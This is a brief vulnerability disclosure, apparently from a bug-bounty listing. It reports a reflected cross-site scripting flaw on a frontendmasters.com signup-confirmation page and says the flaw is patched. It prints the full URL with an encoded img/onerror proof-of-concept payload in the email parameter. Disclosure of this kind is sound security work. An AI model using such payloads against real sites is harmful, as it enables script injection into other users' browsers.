frontendmasters.com XSS vulnerability

Vulnerable URL: https://frontendmasters.com/signup/confirmed/?email=%22%3E%3Cimg+src%3Dx+onerror%3Dprompt%28%2FOPENBUGBOUNTY%2F%29%3E%22=%22%3E%3Cimg%20src=x%20onerror=prompt%28/OPENBUGBOUNTY/%29%3E%22 Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability...